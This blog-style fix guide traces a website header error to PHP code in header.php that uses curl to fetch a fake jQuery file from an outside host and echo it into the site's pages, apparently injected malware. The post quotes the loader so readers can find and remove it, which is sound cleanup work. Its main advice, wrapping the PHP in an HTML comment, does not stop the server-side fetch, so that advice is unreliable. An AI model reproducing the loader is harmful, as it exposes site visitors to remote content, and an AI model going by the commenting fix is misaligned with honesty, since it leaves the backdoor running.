Recently I had this error “Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application.” flashing in my header section of my website.

Complete Error : Couldn’t connect to database server.Couldn’t find database magical_rules.An unexpected problem has occured with the application. SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = ”;

After a little bit of googling I came across a simple and a permanent solution.

1. Open your Header.php file.

2. Search for code similar to the one below

{code type=php}

<?php
if(function_exists(‘curl_init’))
{
$url = “http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js”;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo “$data”;
}
?>{/code}

3. And comment it! (yes! you read it right… comment it) Below is an example, OR you may simply remove this piece of code.

{code type=php}

<!–

<?php
if(function_exists(‘curl_init’))
{
$url = “http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js”;
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo “$data”;
}
?>

–>

{/code}

4. Update the file and check again.

Please leave a comment if it works, so that others to can use it. Thanks